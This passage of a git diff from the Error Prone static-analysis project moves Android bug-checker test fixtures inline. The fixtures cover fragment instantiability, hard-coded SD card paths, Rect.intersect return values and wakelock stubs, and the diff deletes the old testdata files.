DerivedFragmentNoConstructorV4 extends ParentFragmentV4 { + public DerivedFragmentNoConstructorV4(boolean b) {} + } + + public class EnclosingClass { + // BUG: Diagnostic contains: static + public class InnerFragment extends Fragment { + public InnerFragment() {} + } + + public Fragment create1() { + // BUG: Diagnostic contains: public + return new Fragment() {}; + } + + public Fragment create2() { + // BUG: Diagnostic contains: public + class LocalFragment extends Fragment {} + return new LocalFragment(); + } + } + }""") + .addSourceLines( + "CustomFragment.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + /** + * @author jasonlong@google.com (Jason Long) + */ + public class CustomFragment {}""") + .addSourceLines( + "CustomFragmentNotInstantiablePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + /** + * @author jasonlong@google.com (Jason Long) + */ + public class CustomFragmentNotInstantiablePositiveCases { + // BUG: Diagnostic contains: public + static class PrivateFragment extends CustomFragment { + public PrivateFragment() {} + } + + public static class PrivateConstructor extends CustomFragment { + // BUG: Diagnostic contains: public + PrivateConstructor() {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class NoConstructor extends CustomFragment { + public NoConstructor(int x) {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class NoConstructorV4 extends android.support.v4.app.Fragment { + public NoConstructorV4(int x) {} + } + + public static class ParentFragment extends CustomFragment { + public ParentFragment() {} + } + + public static class ParentFragmentV4 extends android.support.v4.app.Fragment { + public ParentFragmentV4() {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class DerivedFragmentNoConstructor extends ParentFragment { + public DerivedFragmentNoConstructor(int x) {} + } + + // BUG: Diagnostic contains: nullary constructor + public static class DerivedFragmentNoConstructorV4 extends ParentFragmentV4 { + public DerivedFragmentNoConstructorV4(boolean b) {} + } + + public class EnclosingClass { + // BUG: Diagnostic contains: static + public class InnerFragment extends CustomFragment { + public InnerFragment() {} + } + + public CustomFragment create1() { + // BUG: Diagnostic contains: public + return new CustomFragment() {}; + } + + public CustomFragment create2() { + // BUG: Diagnostic contains: public + class LocalFragment extends CustomFragment {} + return new LocalFragment(); + } + } + }""") .doTest(); } @Test public void negativeCase_custom() { createCompilationTestHelper(CustomFragmentNotInstantiable.class) - .addSourceFile("testdata/FragmentNotInstantiableNegativeCases.java") - .addSourceFile("testdata/CustomFragment.java") - .addSourceFile("testdata/CustomFragmentNotInstantiableNegativeCases.java") + .addSourceLines( + "FragmentNotInstantiableNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + import android.app.Fragment; + + /** + * @author avenet@google.com (Arnaud J. Venet) + */ + public class FragmentNotInstantiableNegativeCases { + public static class NotAFragment1 { + public NotAFragment1(int x) {} + } + + public static class NotAFragment2 { + private NotAFragment2() {} + } + + private static class NotAFragment3 {} + + public class NotAFragment4 {} + + private abstract class AbstractFragment extends Fragment { + public AbstractFragment(int x) {} + } + + private abstract class AbstractV4Fragment extends android.support.v4.app.Fragment { + private int a; + + public int value() { + return a; + } + } + + public static class MyFragment extends Fragment { + private int a; + + public int value() { + return a; + } + } + + public static class DerivedFragment extends MyFragment {} + + public static class MyV4Fragment extends android.support.v4.app.Fragment {} + + public static class DerivedV4Fragment extends MyV4Fragment { + private int a; + + public int value() { + return a; + } + } + + public static class MyFragment2 extends Fragment { + public MyFragment2() {} + + public MyFragment2(int x) {} + } + + public static class DerivedFragment2 extends MyFragment2 { + public DerivedFragment2() {} + + public DerivedFragment2(boolean b) {} + } + + public static class EnclosingClass { + public static class InnerFragment extends Fragment { + public InnerFragment() {} + } + } + + interface AnInterface { + public class ImplicitlyStaticInnerFragment extends Fragment {} + + class ImplicitlyStaticAndPublicInnerFragment extends Fragment {} + } + }""") + .addSourceLines( + "CustomFragment.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + /** + * @author jasonlong@google.com (Jason Long) + */ + public class CustomFragment {}""") + .addSourceLines( + "CustomFragmentNotInstantiableNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + /** + * @author jasonlong@google.com (Jason Long) + */ + public class CustomFragmentNotInstantiableNegativeCases { + public static class NotAFragment1 { + public NotAFragment1(int x) {} + } + + public static class NotAFragment2 { + private NotAFragment2() {} + } + + private static class NotAFragment3 {} + + public class NotAFragment4 {} + + private abstract class AbstractFragment extends CustomFragment { + public AbstractFragment(int x) {} + } + + public static class MyFragment extends CustomFragment { + private int a; + + public int value() { + return a; + } + } + + public static class DerivedFragment extends MyFragment {} + + public static class MyFragment2 extends CustomFragment { + public MyFragment2() {} + + public MyFragment2(int x) {} + } + + public static class DerivedFragment2 extends MyFragment2 { + public DerivedFragment2() {} + + public DerivedFragment2(boolean b) {} + } + + public static class EnclosingClass { + public static class InnerFragment extends CustomFragment { + public InnerFragment() {} + } + } + + interface AnInterface { + public class ImplicitlyStaticInnerFragment extends CustomFragment {} + + class ImplicitlyStaticAndPublicInnerFragment extends CustomFragment {} + } + }""") .doTest(); } private CompilationTestHelper createCompilationTestHelper( Class bugCheckerClass) { return CompilationTestHelper.newInstance(bugCheckerClass, getClass()) - .addSourceFile("testdata/stubs/android/app/Fragment.java") - .addSourceFile("testdata/stubs/android/support/v4/app/Fragment.java") + .addSourceLines( + "Fragment.java", + """ + package android.app; + + public class Fragment {}""") + .addSourceLines( + "Fragment.java", + """ + package android.support.v4.app; + + public class Fragment {}""") .setArgs(ImmutableList.of("-XDandroidCompatible=true")); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/HardCodedSdCardPathTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/HardCodedSdCardPathTest.java index bf6ebe42f81..11042158b9b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/HardCodedSdCardPathTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/android/HardCodedSdCardPathTest.java @@ -34,7 +34,52 @@ public class HardCodedSdCardPathTest { public void matchingCode_onAndroid() { compilationHelper .setArgs(ImmutableList.of("-XDandroidCompatible=true")) - .addSourceFile("testdata/HardCodedSdCardPathPositiveCases.java") + .addSourceLines( + "HardCodedSdCardPathPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + /** + * @author avenet@google.com (Arnaud J. Venet) + */ + public class HardCodedSdCardPathPositiveCases { + // BUG: Diagnostic contains: Environment + static final String PATH1 = "/sdcard"; + + // BUG: Diagnostic contains: Environment + static final String PATH2 = "/sdcard/file1"; + + // BUG: Diagnostic contains: Environment + static final String PATH3 = "/mnt/sdcard/file2"; + + // BUG: Diagnostic contains: Environment + static final String PATH4 = "/" + "sd" + "card"; + + // BUG: Diagnostic contains: Environment + static final String PATH5 = "/system/media/sdcard"; + + // BUG: Diagnostic contains: Environment + static final String PATH6 = "/system/media/sdcard/file3"; + + // BUG: Diagnostic contains: Environment + static final String PATH7 = "file://sdcard/file2"; + + // BUG: Diagnostic contains: Environment + static final String PATH8 = "file:///sdcard/file2"; + + // BUG: Diagnostic contains: Context + static final String PATH9 = "/data/data/dir/file"; + + // BUG: Diagnostic contains: Context + static final String PATH10 = "/data/user/file1"; + + static final String FRAGMENT1 = "/data"; + + static final String FRAGMENT2 = "/user"; + + // BUG: Diagnostic contains: Context + static final String PATH11 = "/data" + "/" + "user"; + }""") .doTest(); } @@ -56,7 +101,33 @@ public class HardCodedSdCardPathMatchingCode { public void negativeCase() { compilationHelper .setArgs(ImmutableList.of("-XDandroidCompatible=true")) - .addSourceFile("testdata/HardCodedSdCardPathNegativeCases.java") + .addSourceLines( + "HardCodedSdCardPathNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + /** + * @author avenet@google.com (Arnaud J. Venet) + */ + public class HardCodedSdCardPathNegativeCases { + static final String PATH1 = "/home/sdcard"; + + static final String PATH2 = "/data/file1"; + + static final String FRAGMENT1 = "/root"; + + static final String FRAGMENT2 = "sdcard"; + + static final String PATH3 = FRAGMENT1 + "/" + FRAGMENT2; + + static final String PATH4 = "/data/dir/file2"; + + static final String FRAGMENT3 = "/data"; + + static final String FRAGMENT4 = "1user"; + + static final String PATH5 = FRAGMENT3 + "/" + FRAGMENT4; + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/IsLoggableTagLengthTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/IsLoggableTagLengthTest.java index 203d66d4bc2..78d2d551b33 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/IsLoggableTagLengthTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/android/IsLoggableTagLengthTest.java @@ -30,7 +30,18 @@ public final class IsLoggableTagLengthTest { private final CompilationTestHelper compilationHelper = CompilationTestHelper.newInstance(IsLoggableTagLength.class, getClass()) - .addSourceFile("testdata/stubs/android/util/Log.java") + .addSourceLines( + "Log.java", + """ + package android.util; + + public class Log { + public static boolean isLoggable(String tag, int level) { + return false; + } + + public static final int INFO = 0; + }""") .setArgs(ImmutableList.of("-XDandroidCompatible=true")); @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/MislabeledAndroidStringTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/MislabeledAndroidStringTest.java index 8c7aa76a375..fe744b8c58a 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/MislabeledAndroidStringTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/android/MislabeledAndroidStringTest.java @@ -122,7 +122,18 @@ public void assumedMeanings() { private CompilationTestHelper createCompilationTestHelper() { return CompilationTestHelper.newInstance(MislabeledAndroidString.class, getClass()) - .addSourceFile("testdata/stubs/android/R.java") + .addSourceLines( + "R.java", + """ + package android; + + public class R { + public static final class string { + public static final int yes = 0; + public static final int no = 1; + public static final int copy = 2; + } + }""") .setArgs(ImmutableList.of("-XDandroidCompatible=true")); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/RectIntersectReturnValueIgnoredTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/RectIntersectReturnValueIgnoredTest.java index 11d45a794ac..e75af23159b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/RectIntersectReturnValueIgnoredTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/android/RectIntersectReturnValueIgnoredTest.java @@ -29,20 +29,134 @@ public class RectIntersectReturnValueIgnoredTest { private final CompilationTestHelper compilationHelper = CompilationTestHelper.newInstance(RectIntersectReturnValueIgnored.class, getClass()) - .addSourceFile("testdata/stubs/android/graphics/Rect.java") + .addSourceLines( + "Rect.java", + """ + package android.graphics; + + public class Rect { + public boolean intersect(int x, int y, int x2, int y2) { + return false; + } + + public boolean intersect(Rect other) { + return false; + } + + public void setEmpty() {} + }""") .setArgs(ImmutableList.of("-XDandroidCompatible=true")); @Test public void positiveCases() { compilationHelper - .addSourceFile("testdata/RectIntersectReturnValueIgnoredPositiveCases.java") + .addSourceLines( + "RectIntersectReturnValueIgnoredPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.android.testdata; + +import android.graphics.Rect; + +/** + * @author avenet@google.com (Arnaud J. Venet) + */ +public class RectIntersectReturnValueIgnoredPositiveCases { + void checkSimpleCall(Rect rect, int aLeft, int aTop, int aRight, int aBottom) { + // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked + rect.intersect(aLeft, aTop, aRight, aBottom); + } + + void checkOverload(Rect rect1, Rect rect2) { + // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked + rect1.intersect(rect2); + } + + class RectContainer { + int xPos; + int yPos; + Rect rect; + + boolean intersect(int length, int width) { + // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked + rect.intersect(xPos, yPos, xPos + length, yPos + width); + return true; + } + } + + void checkInMethod(int length, int width) { + RectContainer container = new RectContainer(); + container.intersect(length, width); + } + + void checkInField(RectContainer container) { + // BUG: Diagnostic contains: Return value of android.graphics.Rect.intersect() must be checked + container.rect.intersect( + container.xPos, container.yPos, container.xPos + 10, container.yPos + 20); + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/RectIntersectReturnValueIgnoredNegativeCases.java") + .addSourceLines( + "RectIntersectReturnValueIgnoredNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.android.testdata; + + import android.graphics.Rect; + + /** + * @author avenet@google.com (Arnaud J. Venet) + */ + public class RectIntersectReturnValueIgnoredNegativeCases { + boolean checkSimpleCall(Rect rect, int aLeft, int aTop, int aRight, int aBottom) { + return rect.intersect(aLeft, aTop, aRight, aBottom); + } + + boolean checkOverload(Rect rect1, Rect rect2) { + return rect1.intersect(rect2); + } + + void checkInTest(Rect rect, int aLeft, int aTop, int aRight, int aBottom) { + if (!rect.intersect(aLeft, aTop, aRight, aBottom)) { + rect.setEmpty(); + } + } + + class InternalScope { + class Rect { + int left; + int right; + int top; + int bottom; + + boolean intersect(int aLeft, int aTop, int aRight, int aBottom) { + throw new RuntimeException("Not implemented"); + } + } + + void checkHomonym(Rect rect, int aLeft, int aTop, int aRight, int aBottom) { + rect.intersect(aLeft, aTop, aRight, aBottom); + } + } + + class RectContainer { + int xPos; + int yPos; + Rect rect; + + boolean intersect(int length, int width) { + return rect.intersect(xPos, yPos, xPos + length, yPos + width); + } + } + + void checkInMethod(int length, int width) { + RectContainer container = new RectContainer(); + container.intersect(length, width); + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/WakelockReleasedDangerouslyTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/WakelockReleasedDangerouslyTest.java index dbbb0530af5..28f4ce8c46c 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/WakelockReleasedDangerouslyTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/android/WakelockReleasedDangerouslyTest.java @@ -32,11 +32,49 @@ public class WakelockReleasedDangerouslyTest { private final BugCheckerRefactoringTestHelper refactoringHelper = BugCheckerRefactoringTestHelper.newInstance(WakelockReleasedDangerously.class, getClass()) .setArgs(ImmutableList.of("-XDandroidCompatible=true")) - .addInput("testdata/stubs/android/os/PowerManager.java") + .addInputLines( + "PowerManager.java", + """ + package android.os; + + public interface PowerManager { + class WakeLock { + public void acquire() {} + + public void acquire(int timeout) {} + + public boolean isHeld() { + return true; + } + + public void release() {} + + public void setReferenceCounted(boolean referenceCounted) {} + } + }""") .expectUnchanged(); private final CompilationTestHelper compilationHelper = CompilationTestHelper.newInstance(WakelockReleasedDangerously.class, getClass()) - .addSourceFile("testdata/stubs/android/os/PowerManager.java") + .addSourceLines( + "PowerManager.java", + """ + package android.os; + + public interface PowerManager { + class WakeLock { + public void acquire() {} + + public void acquire(int timeout) {} + + public boolean isHeld() { + return true; + } + + public void release() {} + + public void setReferenceCounted(boolean referenceCounted) {} + } + }""") .setArgs(ImmutableList.of("-XDandroidCompatible=true")); @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/CustomFragmentNotInstantiableNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/CustomFragmentNotInstantiableNegativeCases.java deleted file mode 100644 index 39030c42703..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/CustomFragmentNotInstantiableNegativeCases.java +++ /dev/null @@ -1,72 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.android.testdata; - -/** - * @author jasonlong@google.com (Jason Long) - */ -public class CustomFragmentNotInstantiableNegativeCases { - public static class NotAFragment1 { - public NotAFragment1(int x) {} - } - - public static class NotAFragment2 { - private NotAFragment2() {} - } - - private static class NotAFragment3 {} - - public class NotAFragment4 {} - - private abstract class AbstractFragment extends CustomFragment { - public AbstractFragment(int x) {} - } - - public static class MyFragment extends CustomFragment { - private int a; - - public int value() { - return a; - } - } - - public static class DerivedFragment extends MyFragment {} - - public static class MyFragment2 extends CustomFragment { - public MyFragment2() {} - - public MyFragment2(int x) {} - } - - public static class DerivedFragment2 extends MyFragment2 { - public DerivedFragment2() {} - - public DerivedFragment2(boolean b) {} - } - - public static class EnclosingClass { - public static class InnerFragment extends CustomFragment { - public InnerFragment() {} - } - } - - interface AnInterface { - public class ImplicitlyStaticInnerFragment extends CustomFragment {} - - class ImplicitlyStaticAndPublicInnerFragment extends CustomFragment {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/CustomFragmentNotInstantiablePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/CustomFragmentNotInstantiablePositiveCases.java deleted file mode 100644 index 6e1c506262d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/CustomFragmentNotInstantiablePositiveCases.java +++ /dev/null @@ -1,78 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.android.testdata; - -/** - * @author jasonlong@google.com (Jason Long) - */ -public class CustomFragmentNotInstantiablePositiveCases { - // BUG: Diagnostic contains: public - static class PrivateFragment extends CustomFragment { - public PrivateFragment() {} - } - - public static class PrivateConstructor extends CustomFragment { - // BUG: Diagnostic contains: public - PrivateConstructor() {} - } - - // BUG: Diagnostic contains: nullary constructor - public static class NoConstructor extends CustomFragment { - public NoConstructor(int x) {} - } - - // BUG: Diagnostic contains: nullary constructor - public static class NoConstructorV4 extends android.support.v4.app.Fragment { - public NoConstructorV4(int x) {} - } - - public static class ParentFragment extends CustomFragment { - public ParentFragment() {} - } - - public static class ParentFragmentV4 extends android.support.v4.app.Fragment { - public ParentFragmentV4() {} - } - - // BUG: Diagnostic contains: nullary constructor - public static class DerivedFragmentNoConstructor extends ParentFragment { - public DerivedFragmentNoConstructor(int x) {} - } - - // BUG: Diagnostic contains: nullary constructor - public static class DerivedFragmentNoConstructorV4 extends ParentFragmentV4 { - public DerivedFragmentNoConstructorV4(boolean b) {} - } - - public class EnclosingClass { - // BUG: Diagnostic contains: static - public class InnerFragment extends CustomFragment { - public InnerFragment() {} - } - - public CustomFragment create1() { - // BUG: Diagnostic contains: public - return new CustomFragment() {}; - } - - public CustomFragment create2() { - // BUG: Diagnostic contains: public - class LocalFragment extends CustomFragment {} - return new LocalFragment(); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/FragmentNotInstantiableNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/FragmentNotInstantiableNegativeCases.java deleted file mode 100644 index 82c485b0edf..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/FragmentNotInstantiableNegativeCases.java +++ /dev/null @@ -1,92 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.android.testdata; - -import android.app.Fragment; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class FragmentNotInstantiableNegativeCases { - public static class NotAFragment1 { - public NotAFragment1(int x) {} - } - - public static class NotAFragment2 { - private NotAFragment2() {} - } - - private static class NotAFragment3 {} - - public class NotAFragment4 {} - - private abstract class AbstractFragment extends Fragment { - public AbstractFragment(int x) {} - } - - private abstract class AbstractV4Fragment extends android.support.v4.app.Fragment { - private int a; - - public int value() { - return a; - } - } - - public static class MyFragment extends Fragment { - private int a; - - public int value() { - return a; - } - } - - public static class DerivedFragment extends MyFragment {} - - public static class MyV4Fragment extends android.support.v4.app.Fragment {} - - public static class DerivedV4Fragment extends MyV4Fragment { - private int a; - - public int value() { - return a; - } - } - - public static class MyFragment2 extends Fragment { - public MyFragment2() {} - - public MyFragment2(int x) {} - } - - public static class DerivedFragment2 extends MyFragment2 { - public DerivedFragment2() {} - - public DerivedFragment2(boolean b) {} - } - - public static class EnclosingClass { - public static class InnerFragment extends Fragment { - public InnerFragment() {} - } - } - - interface AnInterface { - public class ImplicitlyStaticInnerFragment extends Fragment {} - - class ImplicitlyStaticAndPublicInnerFragment extends Fragment {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/FragmentNotInstantiablePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/FragmentNotInstantiablePositiveCases.java deleted file mode 100644 index 71c99dc59ba..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/FragmentNotInstantiablePositiveCases.java +++ /dev/null @@ -1,85 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.android.testdata; - -import android.app.Fragment; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class FragmentNotInstantiablePositiveCases { - // BUG: Diagnostic contains: public - static class PrivateFragment extends Fragment { - public PrivateFragment() {} - } - - // BUG: Diagnostic contains: public - static class PrivateV4Fragment extends android.support.v4.app.Fragment { - public PrivateV4Fragment() {} - } - - public static class PrivateConstructor extends Fragment { - // BUG: Diagnostic contains: public - PrivateConstructor() {} - } - - // BUG: Diagnostic contains: nullary constructor - public static class NoConstructor extends Fragment { - public NoConstructor(int x) {} - } - - // BUG: Diagnostic contains: nullary constructor - public static class NoConstructorV4 extends android.support.v4.app.Fragment { - public NoConstructorV4(int x) {} - } - - public static class ParentFragment extends Fragment { - public ParentFragment() {} - } - - public static class ParentFragmentV4 extends android.support.v4.app.Fragment { - public ParentFragmentV4() {} - } - - // BUG: Diagnostic contains: nullary constructor - public static class DerivedFragmentNoConstructor extends ParentFragment { - public DerivedFragmentNoConstructor(int x) {} - } - - // BUG: Diagnostic contains: nullary constructor - public static class DerivedFragmentNoConstructorV4 extends ParentFragmentV4 { - public DerivedFragmentNoConstructorV4(boolean b) {} - } - - public class EnclosingClass { - // BUG: Diagnostic contains: static - public class InnerFragment extends Fragment { - public InnerFragment() {} - } - - public Fragment create1() { - // BUG: Diagnostic contains: public - return new Fragment() {}; - } - - public Fragment create2() { - // BUG: Diagnostic contains: public - class LocalFragment extends Fragment {} - return new LocalFragment(); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/HardCodedSdCardPathNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/HardCodedSdCardPathNegativeCases.java deleted file mode 100644 index 272a38460fe..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/HardCodedSdCardPathNegativeCases.java +++ /dev/null @@ -1,40 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.android.testdata; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class HardCodedSdCardPathNegativeCases { - static final String PATH1 = "/home/sdcard"; - - static final String PATH2 = "/data/file1"; - - static final String FRAGMENT1 = "/root"; - - static final String FRAGMENT2 = "sdcard"; - - static final String PATH3 = FRAGMENT1 + "/" + FRAGMENT2; - - static final String PATH4 = "/data/dir/file2"; - - static final String FRAGMENT3 = "/data"; - - static final String FRAGMENT4 = "1user"; - - static final String PATH5 = FRAGMENT3 + "/" + FRAGMENT4; -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/HardCodedSdCardPathPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/HardCodedSdCardPathPositiveCases.java deleted file mode 100644 index 1ed96e9c060..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/HardCodedSdCardPathPositiveCases.java +++ /dev/null @@ -1,59 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.android.testdata; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class HardCodedSdCardPathPositiveCases { - // BUG: Diagnostic contains: Environment - static final String PATH1 = "/sdcard"; - - // BUG: Diagnostic contains: Environment - static final String PATH2 = "/sdcard/file1"; - - // BUG: Diagnostic contains: Environment - static final String PATH3 = "/mnt/sdcard/file2"; - - // BUG: Diagnostic contains: Environment - static final String PATH4 = "/" + "sd" + "card"; - - // BUG: Diagnostic contains: Environment - static final String PATH5 = "/system/media/sdcard"; - - // BUG: Diagnostic contains: Environment - static final String PATH6 = "/system/media/sdcard/file3"; - - // BUG: Diagnostic contains: Environment - static final String PATH7 = "file://sdcard/file2"; - - // BUG: Diagnostic contains: Environment - static final String PATH8 = "file:///sdcard/file2"; - - // BUG: Diagnostic contains: Context - static final String PATH9 = "/data/data/dir/file"; - - // BUG: Diagnostic contains: Context - static final String PATH10 = "/data/user/file1"; - - static final String FRAGMENT1 = "/data"; - - static final String FRAGMENT2 = "/user"; - - // BUG: Diagnostic contains: Context - static final String PATH11 = "/data" + "/" + "user"; -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/RectIntersectReturnValueIgnoredNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/RectIntersectReturnValueIgnoredNegativeCases.java deleted file mode 100644 index 0754c359ef3..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/RectIntersectReturnValueIgnoredNegativeCases.java +++ /dev/null @@ -1,70 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.android.testdata; - -import android.graphics.Rect; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class RectIntersectReturnValueIgnoredNegativeCases { - boolean checkSimpleCall(Rect rect, int aLeft, int aTop, int aRight, int aBottom) { - return rect.intersect(aLeft, aTop, aRight, aBottom); - } - - boolean checkOverload(Rect rect1, Rect rect2) { - return rect1.intersect(rect2); - } - - void checkInTest(Rect rect, int aLeft, int aTop, int aRight, int aBottom) { - if (!rect.intersect(aLeft, aTop, aRight, aBottom)) { - rect.setEmpty(); - } - } - - class InternalScope { - class Rect { - int left; - int right; - int top; - int bottom; - - boolean intersect(int aLeft, int aTop, int aRight, int aBottom) { - throw new RuntimeException("Not implemented"); - } - } - - void checkHomonym(Rect rect, int aLeft, int aTop, int aRight, int aBottom) { - rect.intersect(aLeft, aTop, aRight, aBottom); - } - } - - class RectContainer { - int xPos; - int yPos; - Rect rect; - - boolean intersect(int length, int width) { - return rect.intersect(xPos, yPos, xPos + length, yPos + width); - } - } - - void checkInMethod(int length, int width) { - RectContainer container = new RectContainer(); - container.intersect(length, width); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/RectIntersectReturnValueIgnoredPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/RectIntersectReturnValueIgnoredPositiveCases.java deleted file mode 100644 index e359147a555..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/android/testdata/RectIntersectReturnValueIgnoredPositiveCases.java +++ /dev/null @@ -1,57 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package 